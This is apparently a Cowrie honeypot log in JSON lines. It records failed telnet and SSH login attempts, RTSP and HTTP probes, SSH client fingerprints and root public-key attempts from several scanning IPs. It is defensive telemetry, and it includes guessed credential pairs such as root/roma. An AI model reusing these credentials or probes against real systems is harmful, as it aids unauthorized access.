{"eventid":"cowrie.login.failed","username":"USER test","password":"USER test","message":"login attempt [USER test/USER test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:23.490727Z","src_ip":"165.154.29.169","session":"29144fcf445e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"USER test","password":"USER test","message":"login attempt [USER test/USER test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:25.492338Z","src_ip":"165.154.29.169","session":"29144fcf445e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"USER test","password":"USER test","message":"login attempt [USER test/USER test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:27.493644Z","src_ip":"165.154.29.169","session":"29144fcf445e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.236016511917114,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:27.725881Z","src_ip":"165.154.29.169","session":"29144fcf445e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60836,"dst_ip":"10.17.0.5","dst_port":23,"session":"9984ec9d640c","protocol":"telnet","message":"New connection: 165.154.29.169:60836 (10.17.0.5:23) [session: 9984ec9d640c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:27.954700Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS\u00a0rtsp://134.199.244.163\u00a0RTSP/1.0","password":"CSeq:1","message":"login attempt [OPTIONS\u00a0rtsp://134.199.244.163\u00a0RTSP/1.0/CSeq:1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:27.961210Z","src_ip":"165.154.29.169","session":"9984ec9d640c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60838,"dst_ip":"10.17.0.5","dst_port":23,"session":"e44fcf9ae075","protocol":"telnet","message":"New connection: 165.154.29.169:60838 (10.17.0.5:23) [session: e44fcf9ae075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:33.427375Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.0","password":"Host: 134.199.244.163","message":"login attempt [GET / HTTP/1.0/Host: 134.199.244.163] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:33.432951Z","src_ip":"165.154.29.169","session":"e44fcf9ae075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":43916,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce5eaeb8ff9","protocol":"ssh","message":"New connection: 103.173.227.57:43916 (10.17.0.5:22) [session: 2ce5eaeb8ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:35.071254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:35.075681Z","src_ip":"103.173.227.57","session":"2ce5eaeb8ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:35.315636Z","src_ip":"103.173.227.57","session":"2ce5eaeb8ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma","message":"login attempt [root/roma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:36.038938Z","src_ip":"103.173.227.57","session":"2ce5eaeb8ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:37.282767Z","src_ip":"103.173.227.57","session":"2ce5eaeb8ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.236028432846069,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:38.663287Z","src_ip":"165.154.29.169","session":"e44fcf9ae075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.71297311782837,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:38.667532Z","src_ip":"165.154.29.169","session":"9984ec9d640c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50394,"dst_ip":"10.17.0.5","dst_port":23,"session":"53ff79a12c12","protocol":"telnet","message":"New connection: 152.42.224.71:50394 (10.17.0.5:23) [session: 53ff79a12c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:38.752000Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60840,"dst_ip":"10.17.0.5","dst_port":23,"session":"1708190e6d25","protocol":"telnet","message":"New connection: 165.154.29.169:60840 (10.17.0.5:23) [session: 1708190e6d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:38.894024Z"}
{"eventid":"cowrie.session.closed","duration":5.2356016635894775,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:44.129469Z","src_ip":"165.154.29.169","session":"1708190e6d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60842,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfde7fe2d2ae","protocol":"telnet","message":"New connection: 165.154.29.169:60842 (10.17.0.5:23) [session: cfde7fe2d2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:44.355687Z"}
{"eventid":"cowrie.session.closed","duration":5.231244325637817,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:49.586813Z","src_ip":"165.154.29.169","session":"cfde7fe2d2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3644291d3664","protocol":"telnet","message":"New connection: 165.154.29.169:60844 (10.17.0.5:23) [session: 3644291d3664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:49.809334Z"}
{"eventid":"cowrie.session.closed","duration":5.227578163146973,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:55.036786Z","src_ip":"165.154.29.169","session":"3644291d3664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60846,"dst_ip":"10.17.0.5","dst_port":23,"session":"8502c5378618","protocol":"telnet","message":"New connection: 165.154.29.169:60846 (10.17.0.5:23) [session: 8502c5378618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:55.261695Z"}
{"eventid":"cowrie.session.closed","duration":5.231141567230225,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:00.492748Z","src_ip":"165.154.29.169","session":"8502c5378618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60848,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b271690b36","protocol":"telnet","message":"New connection: 165.154.29.169:60848 (10.17.0.5:23) [session: 70b271690b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:00.716053Z"}
{"eventid":"cowrie.session.closed","duration":25.411373138427734,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:04.163234Z","src_ip":"152.42.224.71","session":"53ff79a12c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.244428396224976,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:05.960358Z","src_ip":"165.154.29.169","session":"70b271690b36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60850,"dst_ip":"10.17.0.5","dst_port":23,"session":"4977fcc93ec6","protocol":"telnet","message":"New connection: 165.154.29.169:60850 (10.17.0.5:23) [session: 4977fcc93ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:06.187176Z"}
{"eventid":"cowrie.session.closed","duration":0.006053924560546875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:06.193094Z","src_ip":"165.154.29.169","session":"4977fcc93ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39996,"dst_ip":"159.203.135.109","dst_port":22,"session":"081244aec826","protocol":"ssh","message":"New connection: 103.149.28.157:39996 (159.203.135.109:22) [session: 081244aec826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:12.654254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:12.662068Z","src_ip":"103.149.28.157","session":"081244aec826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:12.919671Z","src_ip":"103.149.28.157","session":"081244aec826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eouiihat","message":"login attempt [root/eouiihat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:13.690752Z","src_ip":"103.149.28.157","session":"081244aec826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:14.954759Z","src_ip":"103.149.28.157","session":"081244aec826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.76059603691101,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:31:52.423344Z","src_ip":"152.42.224.71","session":"772b33a78473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":48778,"dst_ip":"10.17.0.5","dst_port":22,"session":"e45dd1b544c0","protocol":"ssh","message":"New connection: 208.115.214.194:48778 (10.17.0.5:22) [session: e45dd1b544c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.313219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.318891Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.417313Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:d7:55:da:60:91:2f:e6:a9:04:f3:cc:7f:96:28:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwv4DKiTlodZE2XBISFCuuhXX5VuyQkFhiRhazfZIVtvbNWhzproudprG6pE7oggUowV+yY6V8aRJtP8er0TyUH55xPEDiXv5zNVKZWJ+GqLIluLDWjiNOHj65ebSiZIlgPaGQszoIcRrs7p5vTIwE8BYFu3HfRdlRTkRGoYi5f8t09sTFhQY52PminpTCc5KzX06H5O3vKcMlTgp6Aag2bPEod+fuQQ28uRJvmYhZIz1Xsd3UXmZsW62uKoC67nRCVyzGjbYeUuehNan+TQ7+rK5hhhat/1rq/Y7ldFWvwgbov7CF+e3bdsWe5YrOIywxi7L1oNqHXcxV7yxww4XB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:d7:55:da:60:91:2f:e6:a9:04:f3:cc:7f:96:28:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.784236Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:d7:55:da:60:91:2f:e6:a9:04:f3:cc:7f:96:28:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwv4DKiTlodZE2XBISFCuuhXX5VuyQkFhiRhazfZIVtvbNWhzproudprG6pE7oggUowV+yY6V8aRJtP8er0TyUH55xPEDiXv5zNVKZWJ+GqLIluLDWjiNOHj65ebSiZIlgPaGQszoIcRrs7p5vTIwE8BYFu3HfRdlRTkRGoYi5f8t09sTFhQY52PminpTCc5KzX06H5O3vKcMlTgp6Aag2bPEod+fuQQ28uRJvmYhZIz1Xsd3UXmZsW62uKoC67nRCVyzGjbYeUuehNan+TQ7+rK5hhhat/1rq/Y7ldFWvwgbov7CF+e3bdsWe5YrOIywxi7L1oNqHXcxV7yxww4XB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.787334Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:d0:00:48:a8:c9:b6:45:19:d3:fe:b9:3d:ab:a7:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfWJG//f2U9sR4v8LafQNTL0xn8fB5ZTTxQ9tMgZc34Bv4lcXs3xrKiBNxUF9SMUpbbAtsSilUQhqjVwdwzCJvQct/9QIuzl11vW+DTvnKuFOg0TGyqOxdH8qJPBENMii/nbPh8iEH5lb129tW30YXhJBfT/oZUUWKAnwb12nvfPQuWwPGd/jOn5Q39/bJL8/FLjn0WFQXlu/yao/Mq9T/1oCGwQ94k/yk29PnH4Lf8ZdZANiO1Pu8rBMg7iYZBS/bngi5wD1MkNII894ZaeP+X7cRpeVJe3jlVeu6Yx+xlaYRkRKDtHC1n3OVnYL/mhL7t1JXcXoIEfyR4Sl/87mH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:d0:00:48:a8:c9:b6:45:19:d3:fe:b9:3d:ab:a7:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.866959Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:d0:00:48:a8:c9:b6:45:19:d3:fe:b9:3d:ab:a7:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfWJG//f2U9sR4v8LafQNTL0xn8fB5ZTTxQ9tMgZc34Bv4lcXs3xrKiBNxUF9SMUpbbAtsSilUQhqjVwdwzCJvQct/9QIuzl11vW+DTvnKuFOg0TGyqOxdH8qJPBENMii/nbPh8iEH5lb129tW30YXhJBfT/oZUUWKAnwb12nvfPQuWwPGd/jOn5Q39/bJL8/FLjn0WFQXlu/yao/Mq9T/1oCGwQ94k/yk29PnH4Lf8ZdZANiO1Pu8rBMg7iYZBS/bngi5wD1MkNII894ZaeP+X7cRpeVJe3jlVeu6Yx+xlaYRkRKDtHC1n3OVnYL/mhL7t1JXcXoIEfyR4Sl/87mH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.872887Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:27:d8:12:7c:5d:56:03:e2:58:1b:a3:4a:83:b9:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5yDh2S7hlO+bajKwxofGKj4miCWKaQSe1UR3yBGUxRC5fc3mKC2FKul0vju8KjSLQes1tpRrBuSj7KEDsoFbIRpXOPGN8GApgPVsqf/UtODB3cmOBa4fbal2MA2T7NdpkAhxDkV0gkgGb8NjM2MhbtdrFxhLPHLORTAbedILrlQK7+sbvB2LsywN0fd0bDB6qKlysjZiPoZDEtC/GyrelB5cEj+sfbx/kMw7Te13c4L0NKXU9WRzF47xmUNjitPt1v8qjLIUV+2wBTtaz/zzP+7O/sG4uJmkNwiDugmGNWeEfnvQw7nO6vd2jDluR2MslXcXU2o5rTJPRKIcDEGLR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:27:d8:12:7c:5d:56:03:e2:58:1b:a3:4a:83:b9:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.951930Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:27:d8:12:7c:5d:56:03:e2:58:1b:a3:4a:83:b9:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5yDh2S7hlO+bajKwxofGKj4miCWKaQSe1UR3yBGUxRC5fc3mKC2FKul0vju8KjSLQes1tpRrBuSj7KEDsoFbIRpXOPGN8GApgPVsqf/UtODB3cmOBa4fbal2MA2T7NdpkAhxDkV0gkgGb8NjM2MhbtdrFxhLPHLORTAbedILrlQK7+sbvB2LsywN0fd0bDB6qKlysjZiPoZDEtC/GyrelB5cEj+sfbx/kMw7Te13c4L0NKXU9WRzF47xmUNjitPt1v8qjLIUV+2wBTtaz/zzP+7O/sG4uJmkNwiDugmGNWeEfnvQw7nO6vd2jDluR2MslXcXU2o5rTJPRKIcDEGLR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:05.955881Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:86:60:14:ed:90:71:c3:f6:a6:c6:11:22:5a:10:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOuyK/QasGkda/WWo13G2ThAa36UwZMCBczxntJZjSWb","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint be:86:60:14:ed:90:71:c3:f6:a6:c6:11:22:5a:10:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:06.034533Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:86:60:14:ed:90:71:c3:f6:a6:c6:11:22:5a:10:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOuyK/QasGkda/WWo13G2ThAa36UwZMCBczxntJZjSWb","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:06.043104Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:c6:0c:9b:62:1d:f7:ae:ee:3b:d4:97:7a:36:97:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKZLf4rLqTjTw0abhXqE++5X6gat6S+up13swmjagVxeGd8u4Ru6e5MKm+9RKNsmZ8/SSku+e97Q1WHQQHz+W6pgrFQD9weuf4DDruuMNwnXAbqIIpE93wCkinpbxrbRQqTN+N2CCRV2Aj/lJB21NQM8jj5Pizuehspxdvf9+2cJNlgM6L7GmTzJhmfhlsqpfUHvTDVpBGpYxIyB/8r8auZiFB9HBvBDT4Wn2I75qp6ff/YhQ5nQ5pE+Du6WugfHpREsuOCaQtQ8XfwVEo/D3mhxhIFBz2oOvGmgIAxa0Sp9W4DoSjcWFjwiUBn+6ESs3CIz132xzqPDQCi6g5GOon","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:c6:0c:9b:62:1d:f7:ae:ee:3b:d4:97:7a:36:97:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:06.125976Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
